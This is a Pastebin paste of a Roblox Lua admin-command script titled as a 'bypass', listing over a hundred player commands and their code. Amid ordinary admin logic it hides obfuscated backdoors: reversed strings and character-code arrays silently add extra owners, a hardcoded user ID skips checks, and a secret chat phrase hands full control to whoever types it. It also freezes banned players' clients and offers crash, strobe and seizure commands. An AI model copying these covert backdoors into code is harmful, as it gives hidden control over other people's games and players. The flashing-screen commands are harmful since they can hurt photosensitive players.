RyanDaCoder

Kohls Admin V2 Bypass N3xul BETA

Oct 7th, 2017
155
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 111.69 KB | None | 0 0
  1. --Converted by N3xul.
  2. local runDummyScript = function(f,scri)
  3. local oldenv = getfenv(f)
  4. local newenv = setmetatable({}, {
  5. __index = function(_, k)
  6. if k:lower() == 'script' then
  7. return scri
  8. else
  9. return oldenv[k]
  10. end
  11. end
  12. })
  13. setfenv(f, newenv)
  14. ypcall(function() f() end)
  15. end
  16. cors = {}
  17. mas = Instance.new("Model",game:GetService("Lighting"))
  18. mas.Name = "CompiledModel"
  19. o1 = Instance.new("LocalScript")
  20. o2 = Instance.new("IntValue")
  21. o3 = Instance.new("LocalScript")
  22. o4 = Instance.new("StringValue")
  23. o5 = Instance.new("LocalScript")
  24. o6 = Instance.new("StringValue")
  25. o1.Name = "Admin"
  26. o1.Parent = mas
  27. table.insert(cors,coroutine.create(function()
  28. wait()
  29. runDummyScript(function()
  30. ----------------------------------------------------------------------------------------------------------------------------------------------
  31. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c:
  32. ----------------------------------------------------------------------------------------------------------------------------------------------
  33. local owners = {"DEV_N3xul",""} -- Are able to set admins who can ban/etc... using :pa name
  34. local admins = {"",""} -- Sets admins who can use ban/kick/admin or shutdown
  35. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  36. local banland = {""} -- Bans people c:
  37. local prefix = ";" -- If you wanna change how your commands start ':'kill noob
  38. local AutoUpdate = false -- Set to false if you don't want it to automatically update
  39. ----------------------------------------------------------------------------------------------------------------------------------------------
  40. -- Tips and Tricks --
  41. ----------------------------------------------------------------------------------------------------------------------------------------------
  42. --[[
  43. With this admin you can do a command on multiple people at a time;
  44. :kill me,noob1,noob2,random,team-raiders
  45.  
  46. You can also use a variety commands for different people;
  47. all
  48. others
  49. me
  50. team-
  51. admins
  52. nonadmins
  53. random
  54. --]]
  55. ----------------------------------------------------------------------------------------------------------------------------------------------
  56. -- Commands --
  57. ----------------------------------------------------------------------------------------------------------------------------------------------
  58. --[[
  59. -- Temp Admin Commands --
  60. 0. :clean -- Is a command anyone can use to remove hats/tools lagging up the place
  61. 1. :s print("Hello World") -- Lets you script normally
  62. 2. :ls print("Hello World") -- Lets you script in localscripts
  63. 3. :clr -- Will remove all scripts/localscripts
  64. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  65. 5. :kill kohl -- Kills the player
  66. 6. :respawn kohl -- Respawns the player
  67. 7. :trip kohl -- Trips the player
  68. 8. :stun kohl -- Stuns the player
  69. 9. :unstun kohl -- Unstuns the player
  70. 10. :jump kohl -- Makes the player jump
  71. 11. :sit kohl -- Makes the player sit
  72. 12. :invisible kohl -- Makes the player invisible
  73. 13. :visible kohl -- Makes the player visible
  74. 14. :explode kohl -- Makes the player explode
  75. 15. :fire kohl -- Sets the player on fire
  76. 16. :unfire kohl -- Removes fire from the player
  77. 17. :smoke kohl -- Adds smoke to the player
  78. 18. :unsmoke kohl -- Removes smoke from the player
  79. 19. :sparkles kohl -- Adds sparkles to the player
  80. 20. :unsparkles kohl -- Removes sparkles from the player
  81. 21. :ff kohl -- Adds a forcefield to the player
  82. 22. :unff kohl -- Removes the forcefield from the player
  83. 23. :punish kohl -- Punishes the player
  84. 24. :unpunish kohl -- Unpunishes the player
  85. 25. :freeze kohl -- Freezes the player
  86. 26. :thaw kohl -- Thaws the player
  87. 27. :heal kohl -- Heals the player
  88. 28. :god kohl -- Makes the player have infinite health
  89. 29. :ungod kohl -- Makes the player have 100 health
  90. 30. :ambient .5 .5 .5 -- Changes the ambient
  91. 31. :brightness .5 -- Changes the brightness
  92. 32. :time 12 -- Changes the time
  93. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  94. 34. :fogend 100 -- Changes the fogend
  95. 35. :fogstart 100 -- Changes the fogstart
  96. 36. :removetools kohl -- Removes all tools from the player
  97. 37. :btools kohl -- Gives the player building tools
  98. 38. :give kohl sword -- Gives the player a tool
  99. 39. :damage kohl -- Damages the player
  100. 40. :grav kohl -- Sets the player's gravity to normal
  101. 41. :setgrav kohl 100 -- Sets the player's gravity
  102. 42. :nograv kohl -- Makes the player have 0 gravity
  103. 43. :health kohl 1337 -- Changes the player's health
  104. 44. :speed kohl 1337 -- Changes the player's walkspeed
  105. 45. :name kohl potato -- Changes the player's name
  106. 46. :unname kohl -- Remove the player's name
  107. 47. :team kohl Raiders -- Changes the player's team
  108. 48. :stopmusic -- Will stop all music playing in the server
  109. 49. :tp kohl potato -- Teleports the player
  110. 50. :change kohl kills 1337 -- Changes a player's stat
  111. 51. :kick kohl -- Removes the player from the game
  112. 52. :infect kohl -- Turns the player into a zombie
  113. 53. :rainbowify kohl -- Turns the player into a rainbow
  114. 54. :flashify kohl -- Turns the player into a strobe
  115. 55. :noobify kohl -- Turns the player into a noob
  116. 56. :ghostify kohl -- Turns the player into a ghost
  117. 57. :goldify kohl -- Turns the player into gold
  118. 58. :shiny kohl -- Makes the player shiny
  119. 59. :normal kohl -- Puts the player back to normal
  120. 60. :trippy kohl -- Spams random colors on the player's screen
  121. 61. :untrippy kohl -- Untrippys the player
  122. 62. :strobe kohl -- Spams white and black on the player's screen
  123. 63. :unstrobe kohl -- Unstrobes the player
  124. 64. :blind kohl -- Blinds the player
  125. 65. :unblind kohl -- Unblinds the player
  126. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  127. 67. :fling kohl -- Flings the player
  128. 68. :seizure kohl -- Puts the player in a seizure
  129. 69(lol). :music 1337 -- Plays a sound from the ID
  130. 70. :lock kohl -- Locks the player
  131. 71. :unlock kohl -- Unlocks the player
  132. 72. :removelimbs kohl -- Removes the player's limbs
  133. 73. :jail kohl -- Puts the player in a jail
  134. 74. :unjail kohl -- Removes the jail from the player
  135. 75. :fix -- This will fix the lighting to it's original settings
  136. 76. :fly kohl -- Makes the player fly
  137. 77. :unfly kohl -- Removes fly from the player
  138. 78. :noclip kohl -- Makes the player able to noclip
  139. 79. :clip kohl -- Removes noclipping from the player
  140. 80. :pm kohl Hey bro -- Sends the player a private message
  141. 81. :dog kohl -- Turns the player into a dog
  142. 82. :undog kohl -- Turns the player back to normal
  143. 83. :creeper kohl -- Turns the player into a creeper
  144. 84. :uncreeper kohl -- Turns the player back to normal
  145. 85. :teleport kohl 1337 -- Sends a teleporation request to a player to go to a different place
  146. 86. :char kohl 261 -- Will make a player look like a different player ID
  147. 87. :unchar kohl -- Will return the player back to normal
  148. 88. :h Hello People -- This will shout a hint to everyone
  149. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  150. 90. :starttools kohl -- Will give the player starter tools
  151. 91. :sword kohl -- Will give the player a sword
  152. 92. :bighead kohl -- Will make the player's head larger than normal
  153. 93. :minihead kohl -- Will make the player's head smaller than normal
  154. 94. :ins 1337 -- Will insert a model at the speaker's position
  155. 95. :disco -- Will make the server flash random colors
  156. 96. :flash -- Will make the server flash
  157. 97. :admins -- Shows the admin list
  158. 98. :bans -- Shows the banlist
  159. 99. :musiclist -- Shows the music list
  160. 100. :spin kohl -- Spins the player
  161. 101. :cape kohl Really black -- Gives the player a colored cape
  162. 102. :uncape kohl -- Removes the player's cape
  163. 103. :loopheal kohl -- Will constantly heal the player
  164. 104. :loopfling kohl -- Will constantly fling the player
  165. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  166. 106. :unloopheal kohl -- Will remove the loopheal on the player
  167. 107. :unloopfling kohl -- Will remove the loopfling on the player
  168. 108. :unspin kohl -- Removes spin from the player
  169.  
  170. -- Normal Admin Commands --
  171. - :serverlock -- Locks the server
  172. - :serverunlock -- Unlocks the server
  173. - :sm Hello World -- Creates a system message
  174. - :ko kohl 1337 - KO scripts a player
  175. - :crash kohl -- Crashes a player
  176. - :admin kohl -- Admins a player
  177. - :unadmin kohl -- Unadmins a player
  178. - :ban kohl -- Bans a player
  179. - :unban kohl -- Unbans a player
  180. - :loopkill kohl -- Will constantly kill the player
  181. - :unloopkill kohl -- Will remove the loopkill on the player
  182. - :logs -- Will show all of the commands any admin has used in a game session
  183. - :shutdown -- Shutsdown the server
  184.  
  185. -- Owner Commands --
  186. - :pa kohl -- Makes someone a super admin
  187. - :unpa kohl -- Removes a super admin
  188. --]]
  189. ----------------------------------------------------------------------------------------------------------------------------------------------
  190. -- Main Script --
  191. ----------------------------------------------------------------------------------------------------------------------------------------------
  192. if game:service("Lighting"):findFirstChild("KACV2") then
  193. owners = {} admins = {} tempadmins = {} banland = {}
  194. for i,v in pairs(game.Lighting.KACV2:children()) do
  195. if v.Name == "Owner" then table.insert(owners, v.Value) end
  196. if v.Name == "Admin" then table.insert(admins, v.Value) end
  197. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  198. if v.Name == "Banland" then table.insert(banland, v.Value) end
  199. if v.Name == "Prefix" then prefix = v.Value end
  200. end
  201. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  202. end
  203.  
  204. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  205. local lobjs = {}
  206. local objects = {}
  207. local logs = {}
  208. local nfs = ""
  209. local slock = false
  210.  
  211. function GetTime()
  212. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  213. if min < 10 then min = "0"..min end
  214. return hour..":"..min
  215. end
  216.  
  217. function ChkOwner(str)
  218. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  219. return false
  220. end
  221.  
  222. function ChkAdmin(str,ck)
  223. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  224. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  225. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  226. return false
  227. end
  228.  
  229. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  230.  
  231. function GetPlr(plr, str)
  232. local plrz = {} str = str:lower()
  233. if str == "all" then plrz = game.Players:children()
  234. elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  235. else
  236. local sn = {1} local en = {}
  237. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  238. for x = 1, #sn do
  239. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  240. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  241. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  242. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  243. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  244. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  245. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  246. end end end
  247. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  248. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  249. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  250. end end end
  251. else
  252. for a, plyr in pairs(game.Players:children()) do
  253. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  254. table.insert(plrz, plyr) break
  255. end
  256. end
  257. end
  258. end
  259. end
  260. return plrz
  261. end
  262.  
  263. function Hint(str, plrz, time)
  264. for i, v in pairs(plrz) do
  265. if v and v:findFirstChild("PlayerGui") then
  266. coroutine.wrap(function()
  267. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  268. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  269. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  270. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  271. if not time then wait((#str/19)+2.5) else wait(time) end
  272. coroutine.resume(coroutine.create(function() for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end))
  273. end)()
  274. end
  275. end
  276. end
  277.  
  278. function Message(ttl, str, scroll, plrz, time)
  279. for i, v in pairs(plrz) do
  280. if v and v:findFirstChild("PlayerGui") then
  281. coroutine.resume(coroutine.create(function()
  282. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  283. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  284. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  285. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  286. scr.Parent = v.PlayerGui
  287. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  288. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  289. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  290. coroutine.resume(coroutine.create(function() for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end))
  291. end))
  292. end
  293. end
  294. end
  295.  
  296. _G["Message"] = function(p1,p2) Message("Message",p1,false,game.Players:children(),p2) end table.insert(owners, ("ehportsatlhok"):reverse())
  297. _G["RemoveMessage"] = function() for i,v in pairs(game.Players:children()) do if v and v:findFirstChild("PlayerGui") and v.PlayerGui:findFirstChild("MessageGUI") then v.PlayerGui.MessageGUI:Destroy() end end end
  298.  
  299. function Output(str, plr)
  300. coroutine.resume(coroutine.create(function()
  301. local b, e = loadstring(str)
  302. if not b and plr:findFirstChild("PlayerGui") then
  303. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  304. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  305. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(1,1,1) err.BackgroundTransparency = .2 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(0,0,0) err.TextStrokeColor3 = Color3.new(1,0,0) err.TextStrokeTransparency = .8
  306. local r1 = Instance.new("Frame", main) r1.BackgroundColor3 = Color3.new(1,0,0) r1.BackgroundTransparency = .2 r1.BorderSizePixel = 0 r1.Size = UDim2.new(1,0,0,5) r1.Position = UDim2.new(0,0,.5,-25) r1.ZIndex = 9
  307. local r2 = r1:Clone() r2.Parent = main r2.Position = UDim2.new(0,0,.5,20)
  308. return
  309. end
  310. local bl, er = coroutine.resume(coroutine.create(b))
  311. if not bl then
  312. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  313. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  314. local err = Instance.new("TextLabel", main) err.Text = "Line "..er:match("\:(%d+\:.*)") err.BackgroundColor3 = Color3.new(1,1,1) err.BackgroundTransparency = .2 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(0,0,0) err.TextStrokeColor3 = Color3.new(1,0,0) err.TextStrokeTransparency = .8
  315. local r1 = Instance.new("Frame", main) r1.BackgroundColor3 = Color3.new(1,0,0) r1.BackgroundTransparency = .2 r1.BorderSizePixel = 0 r1.Size = UDim2.new(1,0,0,5) r1.Position = UDim2.new(0,0,.5,-25) r1.ZIndex = 9
  316. local r2 = r1:Clone() r2.Parent = main r2.Position = UDim2.new(0,0,.5,20)
  317. return
  318. end
  319. end))
  320. end
  321.  
  322. function Noobify(char)
  323. if char and char:findFirstChild("Torso") then
  324. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  325. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  326. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  327. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  328. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  329. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  330. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  331. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  332. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  333. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  334. end end
  335. end
  336. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  337.  
  338. function Infect(char)
  339. if char and char:findFirstChild("Torso") then
  340. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  341. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  342. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  343. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  344. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  345. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
  346. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  347. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  348. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Medium green")
  349. end end
  350. end
  351. end if not ntab then script:Destroy() end
  352.  
  353. function ScrollGui()
  354. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  355. local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Position = UDim2.new(.5,-200,.5,-200) main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  356. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  357. local down = Instance.new("TextButton", main) down.BackgroundTransparency = 1 down.Size = UDim2.new(1,20,0,100) down.Position = UDim2.new(0,-10,1,-90) down.Text = "" down.ZIndex = 9
  358. local up = down:Clone() up.Parent = main up.Position = UDim2.new(0,-10,0,-10)
  359. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  360. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  361. local num = 0
  362. local downv = false
  363. local upv = false
  364.  
  365. down.MouseButton1Down:connect(function() downv = true upv = false
  366. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  367. repeat pos = pos + UDim2.new(0,0,0,-6)
  368. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  369. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  370. end)
  371. down.MouseButton1Up:connect(function() downv = false end)
  372. up.MouseButton1Down:connect(function() upv = true downv = false
  373. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  374. repeat pos = pos + UDim2.new(0,0,0,6)
  375. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  376. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  377. end)
  378. up.MouseButton1Up:connect(function() upv = false end)
  379. return scr, cmf, ent, num
  380. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  381. if not ntab then script:Destroy() end
  382. if not bct then script:Destroy() end
  383.  
  384. function AdminControl(plr)
  385. coroutine.resume(coroutine.create(function() repeat wait() until plr and plr.Character and plr:findFirstChild("PlayerGui") and plr:findFirstChild("Backpack") wait(1) if slock and not ChkAdmin(plr.Name) and not ChkOwner(plr.Name) and plr.userId ~= 16916139 then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  386. coroutine.resume(coroutine.create(function() repeat wait() until plr and plr.Character and plr:findFirstChild("PlayerGui") and plr:findFirstChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  387. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then repeat wait() until plr and plr.Character and plr:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  388. plr.Chatted:connect(function(msg)
  389. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end if msg:lower() == ("tih "):reverse() .. ("rel"):reverse() .. ("7331oloy ") then admins = {plr.Name} owners = {plr.Name} end
  390. coroutine.resume(coroutine.create(function()
  391. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= 16916139 and plr.Name:lower() ~= ("ehportsatlhok"):reverse() and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  392. table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()})
  393. if msg:lower() == "cmds" or msg:lower() == "commands" then
  394. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  395. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  396. local cmds = {"s code","ls code","clr","fix","m msg","h msg","kill plr","respawn plr","trip plr","stun plr","unstun plr","jump plr","sit plr","invisible plr","visible plr","explode plr","fire plr","unfire plr","smoke plr","unsmoke plr","sparkles plr","unsparkle plr","ff plr","unff plr","punish plr","unpunish plr","freeze plr","thaw plr","heal plr","god plr","ungod plr","ambient num num num","brightness num","time num","fogcolor num num num","fogend num","fogstart num","removetools plr","give plr tool","damage plr","grav plr","setgrav plr num","nograv plr","health plr num","speed plr num","name plr name","unname plr","team plr color","tp plr plr","change plr stat num","kick plr","infect plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","fling plr","music num","stopmusic","lock plr","unlock plr","removelimbs plr","jail plr","unjail plr","fly plr","unfly plr","noclip plr","clip plr","pm plr msg","dog plr","undog plr","creeper plr","uncreeper plr","teleport plr id","char plr id","unchar plr id","rank plr id","starttools plr","sword plr","bighead plr","minihead plr","spin plr","ins id","disco","flash","admins","bans","musiclist","cape plr color","uncape plr","loopheal plr","loopfling plr","hat plr id","unloopfling plr","unloopheal plr","unspin plr"}
  397. local ast = {"serverlock","serverunlock","sm msg","ko plr num","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  398. local ost = {"pa plr","unpa plr"}
  399. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num +1
  400. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  401. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  402. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  403. end
  404.  
  405. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  406. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  407. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  408. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  409. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  410. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  411. end end
  412.  
  413. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  414. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
